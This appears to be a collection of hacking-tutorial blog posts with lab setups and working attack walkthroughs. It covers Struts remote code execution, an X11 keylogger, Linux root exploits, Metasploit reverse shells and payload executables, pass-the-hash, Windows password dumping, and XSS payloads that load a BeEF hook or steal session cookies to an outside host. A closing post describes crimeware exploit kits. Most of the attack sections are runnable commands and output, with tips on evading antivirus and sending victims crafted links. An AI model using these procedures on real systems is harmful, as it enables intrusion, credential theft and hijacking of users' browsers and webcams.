Hacking Apache Struts

Apache Struts is a development platform that runs on top of Apache Tomcat.  It was discovered (CVE-2013-2251) that Struts 2.0.0 – Struts 2.3.15 has a serious vulnerability, allowing remote code execution.

Setup Your Testbed

As always, we want to test the vulnerability on our own server.  The first thing you want to do is install Apache Tomcat on your server. On a Ubuntu machine, you can run the following:

$ sudo apt-get install tomcat7 tomcat7-admin

You should see Tomcat running on your host at http://192.168.1.5:8080 (change for your own IP address).  Next, you’ll want to add a user capable of uploading apps to Tomcat.  In the /etc/tomcat-users.xml file, add a user with privileges.  For example, you can add the following:

<user username="colesec" password="s3cret" roles="manager-gui,admin-gui" />

Be sure your added user is not commented out.  This will allow you to login to the manager with username colesc and password s3cret.  Restart Tomcat to take the permissions.

Now download a vulnerable version of Apache Struts. Struts 2.3.15 can be downloaded here.  Unzip the archive, and you’ll find all of the struts files.  At this point, you can check out the Struts documentation and compose your own Struts application in Java, or you can use one of the provided demos.  For the purposes of this blog, we’ll use the struts2-blank.war and the struts2-showcase.war demos.  These are located in the “apps” directory of the archive you just downloaded.

Login to the Tomcat manager website (http://192.168.1.5:8080/manager/html), scroll down to the Deploy section, and upload your two war files under War file to deploy.

struts-deployOnce the two apps are successfully deployed, they’ll be listed on the manager page under Applications.  Click on the link, and you’ll go to the two Struts apps you just deployed.

struts-showcase

Attack

How do you find a vulnerable host?

This is not as easy as it may sound.  There is not usually anything in the page or its headers to to specify it is a Struts app.  The best thing I can recommend is to narrow it down by searching for Apache Tomcat servers (they usually say Tomcat or Coyote in the Powered By headers), and then try test the vulnerability on each page.

Apache Struts has a great page describing the vulnerability and how to find it.  Additionally, this link does a good job describing it as well.  Basically, the action: and redirect: parameters are not properly santized, and allow Java code to be injected.  So a good test is to try X.action?action:%25{3*4} and look for 12 to show up on any error page that shows up, or X.action?redirect:%25{3*4} and see if you get redirected to “12”.

struts-12A well written script can run these checks automatically, finding vulnerable Apache struts modules.

How do you attack that host?

The links given above describe how you can inject arbitrary command line options to be run on the server hosting the Struts app.  However, Metasploit has a nice all in one package to run the exploit and create a shell.  The exploit is located under exploit/multi/http/struts_default_action_mapper.

msf > use exploit/multi/http/struts_default_action_mapper
msf exploit(struts_default_action_mapper) > set PAYLOAD linux/x86/shell/reverse_tcp
msf exploit(struts_default_action_mapper) > set RHOST 192.168.1.5
msf exploit(struts_default_action_mapper) > set LHOST 192.168.1.6
msf exploit(struts_default_action_mapper) > set TARGETURI /struts2-blank/example/HelloWorld.action
msf exploit(struts_default_action_mapper) > exploit

[*] Started reverse handler on 192.168.1.6:4444
[*] 192.168.1.5:8080 - Target autodetection...
[+] 192.168.1.5:8080 - Linux target found!
[*] 192.168.1.5:8080 - Starting up our web service on 192.168.1.6:8080 ...
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.6:8080/
[*] 192.168.1.5:8080 - Downloading payload to /tmp/MzefQhHltDObvVW...
[*] 192.168.1.5:8080 - Waiting for the victim to request the payload...
[*] 192.168.1.5:8080 - Sending the payload to the server...
[*] 192.168.1.5:8080 - Make payload executable...
[*] 192.168.1.5:8080 - Execute payload...
[*] Sending stage (36 bytes) to 192.168.1.5
[*] Command shell session 1 opened (192.168.1.6:4444 -> 192.168.1.5:52246) at 2014-01-29 11:13:33 -0500
[+] Deleted /tmp/MzefQhHltDObvVW
[*] Server stopped.

1823365443
oEFpETIxTqjsSxTDKhMzyYQsUVhHXSNE
XTJKEnVGQxGfQaqDhjIccZAxRBNQfmmN
whoami
tomcat7

It may not look like it, but you have shell.  I typed “whoami”, and the response was “tomcat7”.  Happy hacking!

 

 

X11 Keylogger

To understand X11 and some other ways to attack it, see the first X11 post.

There are a few additional things you can do with open X11 ports, but they don’t seem to work on a Ubuntu system.  Therefore I am setting up a CentOS 6.4 machine for this next test.

Setup Your Testbed

Run the default install of CentOS.  I used the LiveCD and ran the installer from there.

Once CentOS is installed, make sure you either disable the firewall or add in the appropriate ports.  Otherwise you’ll spend a long time troubleshooting why those ports don’t appear to be open over the network.  You can do this either from the GUI (System -> Administrator -> Firewall), or the GUI (/etc/init.d/iptables stop)

Allowing direct TCP connection to X11 is done by editing the /etc/gdm/gdm.schemas file.  There is an option called security/DisallowTCP that needs to be changed from true to false.

centos-x11

 

After this, restart your X server (or the entire system) and you should have port 6000 open.  If not, check the firewall again (iptables -L should either be empty, or have a rule for dst port 6000 BEFORE any deny all rule).

Also, remember to follow the same procedure as listed in the last X11 post.  xhost + must be added so that anyone can connect.

Attack

How do you find a vulnerable host?

This section is the same as the last X11 post.

How do you attack that host?

Double check to make sure the previous attacks work (such as grabbing a screen shot).

The first thing we are going to do is setup a keylogger over X11.  Download the xkey.c file from here.  Then compile it just as it mentions in the instructions:

root@kali:~# gcc -o xkey xkey.c -lX11 -lm
xkey.c: In function `main`:
xkey.c:81:6: warning: incompatible implicit declaration of built-in function `exit` [enabled by default]

There will be some warnings as shown above, but no errors – the program compiles just fine.  Then you just simply need to run the program in the form ./xkey <ip address>:<x11 number>.  So run the following:

# ./xkey 192.168.1.5:0

Then start typing on your CentOS box.  The key presses will pop up.

keyloggingNote: I really don’t know why everything is doubled up, but the point is, keystrokes are being logged.

By the way, I’ve also been playing with some older tools that are supposed to be able to push commands over X11 (like what we were doing with xdotool). They are called xpusher.c and xtester.c.  I haven’t gotten them to work yet though – if anyone else has, please comment.

Hacking with Local Privilege Escalation

Taking advance of Linux vulnerabilities can allow local privilege escalation.  This means you login as a normal unprivileged user, but you run some program, and you end up as a root user.  One classic exploit is called vmsplice, aka jessica_biel_naked_in_my_bed.c aka CVE-2008-0009.  Simply compile and run the program, and you’re root.

Just this week, a new exploit came out.  The vmsplice exploit works for Linux kernels 2.6.17 – 2.6.24.1.  This new exploit (semtex.c) works for 2.6.37 – 3.8.10 (as well as 2.6.32 on CentOS).  It is CVE-2013-2094. UPDATE: Try searching for this on exploit-db.com as the original link is now down.

Setup Your Testbed

Download various versions of Linux to test it on.  I tried it on Ubuntu, Debian, CentOS, and Trixbox (an older version of CentOS with voice stuff).

Attack

How do you find a vulnerable host?

The easiest way is to check the kernel of the machine you are logged into:

$ uname -a
Linux new-host-4 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

This particular system looks like it is below the required kernel level.  However since it is CentOS, it still works.

A practical way as well is to simply try it.  Except for some funky logs, it shouldn’t hurt the system to just try the exploit to see if it works.

In my testing, this newest exploit worked on the latest CentOS and Debian (64-bit) distributions.  It did not work on Trixbox (kernel too old), Ubuntu (apparently according to comments in some of the references listed below it can work, but the code needs to be slightly edited), or the most recent Debian 32-bit (no idea why).

How do you attack that host?

You simply need to compile and run the program.  The vmsplice will compile very simply:

$ gcc exploit.c -o exploit
$ ./exploit

The new exploit requires slightly different instructions:

$ gcc -O2 semtex.c
$ ./a.out

If it works, you should get a root console:

semtex

References:

https://news.ycombinator.com/item?id=5703758 (original poster)
http://www.reddit.com/r/netsec/comments/1eb9iw/sdfucksheeporgs_semtexc_local_linux_root_exploit/ (splender does an excellent dissection of the exploit in the comments)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2094

Metasploit Basics

Now seems like a good time to list some of the basics of Metasploit.

Setup Your Testbed

First, install backtrack linux to get Metasploit.  Using either the KDE or GNOME version doesn’t matter.  In fact, you can even install it to a thumb drive using unetbootin and boot Backtrack without changing your main OS at all.  We’ll assume this machine is located at 192.168.1.6.  The default login for backtrack is root/toor.

Next, simply run a base install of Windows XP without any updates as your target.  Then share out a file (doesn’t matter what).  You can use most anything (such as metasploitable, etc.), but for the exploits we’ll be using, Windows XP is the most fun target.  We’ll assume this machine is located at 192.168.1.5.

Attack

How do you find a vulnerable host?

Often times you can start out with a nessus scan of a machine.  Then take some of the highest vulnerabilities, and search for the CVE listed on the metasploit modules search page.  Our Windows XP machine will have a lot, but the example we’ll use is the famous MS08-067 or CVE-2008-4250.  Do a search for that, and you’ll find this page.

How do you attack that host?

First, get on your Backtrack machine and type “msfconsole”.  You’ll load up the main Metasploit page.

metasploitNow you need to understand the difference between an exploit and a payload.  The exploit is the flaw in the system that you are going to take advantage of.  In the case of MS08-067, it is a problem is the SMB service.  The modules that you searched for above are simply exploits.  You can also search for exploits here on the command line by typing “search ms08” or whatever you are looking for.

A payload is what you will send once the exploit has been executed.  Many exploit kits use some sort of spyware as a payload.  Metasploit also has a number of payloads.  Different payloads work for different exploits.  Some payloads include VNC payload (so you can view their screen), or a reverse TCP payload (so you can browse their filesystem, etc.)  There is also a very powerful Meterpreter payload that has lots of additional commands we’ll look at.

To choose our exploit, type “use exploit/windows/smb/ms08_067_netapi”, and you’ll see the prompt change.  “show options” will show some entries you need to put with the payload.

metasploit2

 

Some options are already filled out.  Sometimes the automatic targeting doesn’t work, and you’ll need to change that.  “Show targets” and then “Set target 1” or whatever your target is will help.  This will also change the payloads available sometimes.  For this particular exploit, leave the target as the default.

RHOST is remote host, or the machine you are attacking.  To set this, enter “set RHOST 192.168.1.5”.

Now set the payload.  You can do a “show payloads”.  We’ll use the meterpreter payload with “set PAYLOAD windows/meterpreter/reverse_tcp” (notice you can do tab completion).  After this, do another show options, and you’ll see additional options listed for the payload.  You’ll notice you now need to fill out the LHOST.  That is local host, or where the payload should call back to (you).  You should enter your own IP address.  If you forgot, typing ifconfig at the MSF console works.  Type “set LHOST 192.168.1.5”.

Last is the best command of all.  “exploit”.  Type “help” on the meterpreter command prompt to see all of what you can do.  I usually start out with getuid, and then hashdump.  Put it all together:

# msfconsole
msf > use use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.6
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.5
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.6:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:1052) at 2013-03-01 13:10:59 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:b267df22cb945e3eaad3b435b51404ee:36aa83bdcab3c9fdaf321ca42a31c3fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:2a207859e108eb43c4e267eb052edce3:2571f5f50dbea6e845ec6ab003deb122:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:5be1619e924dfa6894da9ab7e427da86:::

Some other helpful tips:

  • You may have many sessions opened at once.  Type “sessions” at the msf console to view them.  “sessions -i 5” will open session 5.
  • You may have services listening on ports you don’t want anymore.  Type “jobs” to see which ones are open, and “kill 5” to kill job 5.

You can also package up your payload to be run at any time, without the need of a vulnerability.  From the command prompt (not in the msf console), run the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=5555 X > runme.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.1.5", "LPORT"=>"5555"}

You can get a help interface by running “msfpayload -h” (more info on the tool here).  Copy runme.exe over to your Windows XP machine.  Then start a handler to listen for the connection:

# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.5
msf exploit(handler) > set LPORT 5555
msf exploit(handler) > exploit

Now you’re just waiting for connections.  Run the file on your Windows machine, and you’ll get a meterpreter prompt.  If you were to use the windows/shell/reverse_tcp payload, you wouldn’t even need to run metasploit at all.  You could just set a netcat listener on the port specified.

Finally, there’s also a msfencode utility.  It seems the purpose originally was to obfuscate these payload files so that anti-virus wouldn’t find them.  Unfortunately now, even if you use msfencode on a completely innocuous file, anti-virus will pick it up because it recognizes it was encoded with this metasploit tool.  A good way to check is to upload your file to virustotal.com (although that’s also a good way to get your “virus” sent to anti-virus vendors since this website works with them).

Metasploit in the Cloud

I recently had a need to run metasploit on the public internet. I needed it to be available on the public internet, but only for an hour here and there. So I decided to use Amazon’s EC2 cloud.  For Amazon’s EC2 cloud, I could just run it for an hour and only pay for that much time.  It is also very easy to setup and teardown servers.  The downside is you can’t just install Backtrack.  There are only certain templates for servers available.

Start out

Go to Amazon’s website, and (if necessary) create an AWS (Amazon Web Services) account by clicking Sign Up.  Or simply login and go to the EC2 console (you can get there from the AWS Management Console).  Under the Create Instance heading, click the Launch Instance button.

Continue with the Classic Wizard, and under the Quick Start tab, select the Ubuntu Server AMI (Amazon Machine Image).  The next screen lets you choose your Instance Type.  If you’re planning on using your AWS free trial, you should choose the T1 Micro instance with 613 MB RAM.  However, this will be difficult at best; you will have issues with too little RAM as you will see later.  A good choice is the next tier up, M1 Small with 1.7 GB RAM.  At only 6 cents per hour, it literally will only cost you pennies if you don’t need to run it 24/7.

aws-launch

Continue through all the rest of the screens, creating a key pair for login, naming your instance whatever you want, and configuring your firewall aka security group.  On the firewall, by default only port 22 is allowed.  Depending on how you are going to use this machine, you’ll need to add additional ports.  Finally, launch!

Once you launch, your machine will be built usually within a few seconds.  If you go down to the Elastic IPs section, you can first Allocate New Address to your account, and then Associate Address to your Instance that you just created.  Give that about 60 seconds to associate, and then you can SSH to your Instance using that IP address with the key pair that you created during setup.  The username will be ubuntu.  You can also connect to the machine without associating an IP address by clicking on it on the Instance page, and connecting to the Public DNS listed under Description.

Now to install metasploit.  Go to the metasploit download page, and copy the link.  We’ll be installing a few packages that metasploit needs, and then installing metasploit itself.

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
sudo apt-get update
sudo apt-get install postgreSQL rubygems libpq-dev libreadline-dev ruby-dev
sudo ./metasploit-latest-linux-x64-installer.run

Just choose all the defaults with the installer.  When it is done, you’ve got Metasploit installed and working (msfconsole should work).  However you can’t run updates until you register it.  In order to register it, the install wants you to go to https://localhost:3790.  However this is a remote install; there is no easy way to do that.  So go to https://INSTANCEIP:3790/ and as the screen says, wait a few mins for metasploit to finish loading.  Once it does, you’ll get a screen that says you need to connect locally, or use a special script to create a user account.  This is what we are going to do:

cd /opt/metasploit
sudo ./diagnostic_shell
ruby /opt/metasploit/apps/pro/ui/script/createuser

With your user created, refresh the page on your browser and login.  From there, just follow the instructions to get a (free) license key for the community version and register.  Now updating and running should work just fine!

metasploit-login

Now at this point, if you chose the trial Micro instance instead of the 6 cent Small instance, you are probably getting a message that says “Activation Failed: Cannot allocate memory – who”.  Just like it says, that means there is not enough RAM.  You’ll either have to just live without any updates, or start over again with a better instance.

If you plan on penetration testing with the Amazon Cloud, you can do it, but you need to fill out a form with them (and use something better than the Small or Micro instances).

Hacking Windows Passwords with Pass the Hash

In Windows, you don’t always need to know the actual password to get onto a system (believe it or not).  All you need is the hash of that password, and you can get in just as easily.

Setup Your Testbed

This is meant to simply be an extension to the previous post.  Simply use a Windows 7 system.  All you need to add is a single Windows share.  What you share doesn’t matter.  The same password hashes that were found before will be used again.

You may need to set a registry key in case you have an error listed later.  The key is “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” with “RequireSecuritySignature” set to “0” (as described here. I did not need this, but notice that is a good mitigation).

Another registry key you may need for the same error is under the following: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”.  This time you’ll need to add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1  (as described here and here. I DID need this).  Basically, local users by default are not allowed to perform administrative actions.  This registry key gets around that problem.  A domain account would not have this issue.

Attack

How do you find a vulnerable host?

All you need is a password hash to a system that has SMB file sharing open (port 445).

How do you attack that host?

Metasploit has a pass the hash module called exploit/windows/smb/psexec.  In fact if you run a “search psexec” on the Metasploit console, you’ll see about 4 modules to use pass the hash for different things.  For our host, we’re simply going to use psexec to drop a meterpreter payload.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST 192.168.1.5
msf exploit(psexec) > set LHOST 192.168.1.6
msf exploit(psexec) > set SMBUser JoeTest
msf exploit(psexec) > set SMBPass 00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309
msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.1.6:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.5:445|WORKGROUP as user 'JoeTest'...
[*] Uploading payload...
[*] Created \NWKrjfhn.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.5[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.5[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (OXAZLqCq - "MSmGGmzvjJKdbAEMwVE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \NWKrjfhn.exe...
[*] Sending stage (752128 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:49393) at 2013-02-18 10:38:09 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

And you’re in!  Hopefully.  If not, read the troubleshooting tips below:

First, a little troubleshooting.  If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)

This means you’ve got bad credentials.  Most likely, you only put the NTLM hash (E5810F3C99AE2ABB2232ED8458A61309) instead of both the blank LANMAN hash and the NTLM hash together as this module expects (00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309)

If you get the following response:

[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)

This means you didn’t set the registry keys explained in the Setup step (likely the second one).

Other references:
https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified

Hacking Windows with Password Grabbing

Grabbing passwords is an important part of penetration testing.  You can use the passwords you grab for island hopping, or just simply for shock factor in your report (which can be just as important to generate change).

Setup Your Testbed

Simply setup a machine running Windows.  I’m on Windows 7, 64-bit, so these are the tools I’m running.

Attack

How do you find a vulnerable host?

You need to somehow get command line with administrator access on a system.  Dumping passwords is not the first step.  It is a post exploit activity.  To run these examples on a system you already control, open a command prompt with Administrative privileges (right-click, Run as Administrator)

How do you attack that host?

First step is to grab the password hashes of all the accounts.  Different systems hash their passwords in different ways.  Windows 7 uses NTLM.  One great tool for grabbing passwords is called fgdump.  Simply download it, and then run it in a command prompt window.  It will output the results to a file.  You may notice some mention of pwdump when researching fgdump.  Pwdump is simply an older version of fgdump, with less features.

fgdump

The 127.0.0.1.pwdump file has the following text in it:

Administrator:500:NO PASSWORD*********************:NO PASSWORD*********************:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
JoeTest:1001:NO PASSWORD*********************:E5810F3C99AE2ABB2232ED8458A61309:::

You can see there are 3 users.  Two of them don’t have a password, but the 3rd (JoeTest) does.  His username is JoeTest, with a userID of 1001, no LANMAN password stored, but a NTLM password of E5810F3C99AE2ABB2232ED8458A61309.  So what does that mean?  Well sometimes Google is the best password cracker.  Paste that text into Google, and you’ll see that it is simply asdf.

Other ways to get passwords include John the Ripper (CPU based cracking tool), Hashcat (GPU based cracking tool), and Ophcrack (Rainbow table password cracking tool).  Details on using those are beyond the scope of this article, but all 3 will crack NTLM passwords.  One neat thing about Ophcrack is if you have physical access to the machine, you can simply boot it to an Ophcrack Live CD, and let it find and crack the passwords automatically.  Of course if you already have physical access to a machine in a pentest, you can probably consider the engagement done with everything compromised already.

An even better way to grab passwords is to do so in cleartext.  In comes WCE (Windows Credential Editor).  Just running wce from the command line will also dump the hashes, but running it with the -w flag will grab the credentials in cleartext from memory.

wce

 

As you can see, the password clearly shown is asdf.  This won’t always grab all the passwords in the system, but it sure helps for the ones it does grab.

Another tool that works in the same way as WCE (not in English, but less likely to be caught by anti-virus) is mimikatz.  You can try that tool as well.

Hacking with Cross Site Scripting

Cross site scripting or XSS is one of the top vulnerabilities of the internet.  In many ways, it is easy to test for.  Actually taking advantage of the vulnerability takes a little more creativity, but it is done every day, and can lead to a full compromise of both your own servers as well as those of your clients.

XSS basically means you are taking input from a user and printing it directly out to the HTML of the page without any kind of input sanitation.  So you can type in some Javascript code, and it will get run.

Setup Your Testbed

Mutillidae has some great XSS examples.  There have already been postings on how to get it setup and get started using Metasploitable 2.  I’ll be using the /mutillidae/index.php?page=dns-lookup.php page.

Attack

How do you find a vulnerable host?

The classic way is to simply add an alert tag, such as <script>alert(‘I am vulnerable’);</script>.  Try it on the Mutillidae page by adding that to the Hostname/IP page.

xss mutillidae

 

How do you attack that host?

First, we want to understand the difference between a reflective or non-persistent attack and a Persistent attack.  The example above is a reflective or non-persistent attack.  Basically whatever you enter in the textbox will be reflected on the next page.

A persistent attack is when the user’s input gets entered into a database, and then later is reflected on some other page as information gets pulled out of a database.  Mutillidae has an example where you can enter a blog posting.  Then any other user can read that blog and be affected by whatever XSS attack was entered.  This is often the more dangerous attack because it can affect more users.

Changing link locations:

Enter the following into the DNS lookup tool:

<script>var link=document.getElementsByTagName("a");link[0].href="http://google.com"</script>

After clicking submit, check out the “Home” page button.  It now goes to Google.com instead.

change home linkSure we’re just hacking ourselves right now.  But try it on one of the persistent XSS URLs (such as the blog posting link).  Now anybody that views your blog post has their Home link changed to google.com.

So we know how to annoy users.  But still not how to hack them.  Lets try hooking into BeEF.  See the previous post on starting/using the program.  Once the program is started, type the following into the box (change the IP for your Backtrack/BeEF installation):

<script src="http://192.168.1.6:3000/hook.js"></script>

Now you’ve hooked your browser into BeEF and you can do anything you want from the BeEF admin panel.  Again, you could hook all sorts of people if this were persistent XSS instead.  You could also just send your friend a link to take advantage of the XSS to hook him:

http://192.168.1.5/mutillidae/index.php?page=capture-data.php&cap=<script src='http://192.168.1.6:3000/hook.js'</script>

You can even obfuscate the javascript with hex or something if you want and it’ll still work.

Other ideas include trying to hijack the user’s session (<img src=”http://yourserver.com?id=javascript.cookie” /> to get cookie and steal the PHPSESSID).  Sometimes people do ping sweeps (you need to load a java module) and other things.

Metasploit has a framework called XSSF that you can try to use.

Other useful links:

Some XSS demos: http://www.thegeekstuff.com/2012/02/xss-attack-examples/
Various ways to test XSS vulnerability: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

BeEF: The Browser Exploitation Framework Project

The last post on exploit kits caused me to look into BeEF.  At first glance, BeEF appears to be an open source browser exploit kit.  With a little more work, perhaps it could be just that, but it is not quite there.  It sure is a neat tool, though, and I’d like to try integrating it into some of my own engagements in the future.  Lets look at it.

Setup BeEF

The tool is already built into Backtrack under /pentest/web/beef.  First you’ll want to enable the metasploit module by editing the /pentest/web/beef/config.yaml file and change the metasploit enable line from false to true:

beef config

 

Then launch metasploit (msfconsole) and start up the API for BeEF to connect to:

load msgrpc ServerHost=127.0.0.1 Pass=abc123

Finally go ahead and start the BeEF server:

# cd /pentest/web/beef
# ./beef
[14:08:02][*] Browser Exploitation Framework (BeEF)
[14:08:02] | Version 0.4.3.6-alpha
[14:08:02] | Website http://beefproject.com
[14:08:02] | Run 'beef -h' for basic help.
[14:08:02] |_ Run 'git pull' to update to the latest revision.
[14:08:02][*] Successful connection with Metasploit.
[14:08:05][*] Loaded 226 Metasploit exploits.
[14:08:05][*] BeEF is loading. Wait a few seconds...
[14:08:06][*] 9 extensions loaded:
[14:08:06] | Demos
[14:08:06] | Autoloader
[14:08:06] | Events
[14:08:06] | XSSRays
[14:08:06] | Requester
[14:08:06] | Metasploit
[14:08:06] | Console
[14:08:06] | Admin UI
[14:08:06] |_ Proxy
[14:08:06][*] 339 modules enabled.
[14:08:06][*] 2 network interfaces were detected.
[14:08:06][+] running on network interface: 127.0.0.1
[14:08:06] | Hook URL: http://127.0.0.1:3000/hook.js
[14:08:06] |_ UI URL: http://127.0.0.1:3000/ui/panel
[14:08:06][+] running on network interface: 192.168.1.6
[14:08:06] | Hook URL: http://192.168.1.6:3000/hook.js
[14:08:06] |_ UI URL: http://192.168.1.6:3000/ui/panel
[14:08:06][*] RESTful API key: 00f4d61986f5adeed4fec94a4eb15da9a8b4c449
[14:08:06][*] HTTP Proxy: http://127.0.0.1:6789
[14:08:06][*] BeEF server started (press control+c to stop)

Using BeEF

The tool has documentation on the wiki here.  The documentation is pretty minimal, but for the most part you can figure it out.

Then you can browse to the admin panel at http://192.168.1.6:3000/ui/panel.  The username and password by default is beef/beef (as specified in the config.yaml file).

Now you need to “hook” a browser.  Simply browse with any web browser to http://192.168.1.6:3000/demos/basic.html or http://192.168.1.6:3000/demos/butcher/index.html.  You’ll see the browser pop up right away on the admin panel, with different exploits based on modules that you can run on the “Commands” tab:

beef interface

 

There is all sorts of little information gathering tidbits you can grab.  One neat module is under Browser, you can grab some webcam pictures.  Once you execute it, your basic.html page automagically changes (give it a minute), asking for permission to run the webcam.  Eventually, you’ll be able to click on the “Module Results History” tab, and you’ll see a base64 encoded version of your image pop up (picture=/9j/4AA….)

beef webcam

 

Copy the base64 text into a file called picture.txt (it’ll start with /9y/ and end in ==).  Then you can decode it in the command line with the following:

$ base64 -d -i picture.txt > picture.jpg

Open up picture.jpg, and you should see your smiling face!

Another interesting test you might try is the Metasploit browser_autopwn feature.  The wiki gives a good job at describing how to run it here.

Conclusion

If you look at the source, all the page does is add in the hook.js file.  The setup of BeEF is really slick.  There just doesn’t seem to be anything terribly useful yet.  It definitely shows the power of Ajax type of programming (in a good way), or how scary XSS can be (in a bad way).  Hopefully it can grow into a more mature, useable project.

Crimeware Exploit Packs/Exploit Kits

I just wanted to put up a blog posting on some research I’ve been doing on exploit kits.  I have not seen or used these kits before, so this is all 2nd hand information, but I find the entire concept interesting.  Especially that there appears to be such a big market for them.

I will use the example of Blackhole, which appears to be the most prolific exploit kit.  Others include Nuclear Pack, Phoenix, and Cool.

Basics Steps of Getting Infected by an Exploit Kit

  1. A hacker compromises a legitimate website and injects bad code.  This bad code redirects users to a Blackhole page.  Another way could be through e-mail; you get SPAM, click on a link, and you end up on a Blackhole page.
  2. The Blackhole page determines your plugins (by PluginDetect) to determine your OS and any out of date plugins.
  3. Depending on what you appear to be vulnerable to, you’ll be served a bad PDF, Java applet, or Flash file to exploit the vulnerability.
  4. Depending on the Blackhole customer’s preference, you’ll receive a payload of Zeus, Fake AV, or another malicious program.

Interesting Tidbits on Exploit Kits

  • These are sophisticated programs for generating revenue for the author.  It is not just a ragtag bit of programming.
  • You pay a fee to use the exploit kit.  They are rented, not purchased.  Blackhole costs $1500 per year, or the more sophisticated Cool (by the same guy as Blackhole) costs $10,000 per month.
  • Everything is obfuscated.  The Blackhole PHP source code (by ION), the Javascript served up, and I believe even the payloads change with regularity.  The domains seem to rotate quite often as well.  This makes it very hard to detect.
  • There is lots of “phone home” action that goes on.  Updates come down regularly.  You can even get a referral code to be paid as the spammer/hacker that got someone to the Blackhole page in the first place.
  • These kits seem to be mostly foreign.  Blackhole is Russian, and I believe much of the documentation is in Russian.

Some great references for exploit kits:

Very detailed analysis of Blackhole: http://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit-2/
Blackhole and Cool: http://krebsonsecurity.com/2013/01/crimeware-author-funds-exploit-buying-spree/
Example of new exploits found in exploit kits: http://krebsonsecurity.com/2013/01/zero-day-java-exploit-debuts-in-crimeware/
https://community.rapid7.com/community/metasploit/blog/2012/12/27/security-death-match-open-source-vs-pay-for-play-exploit-packs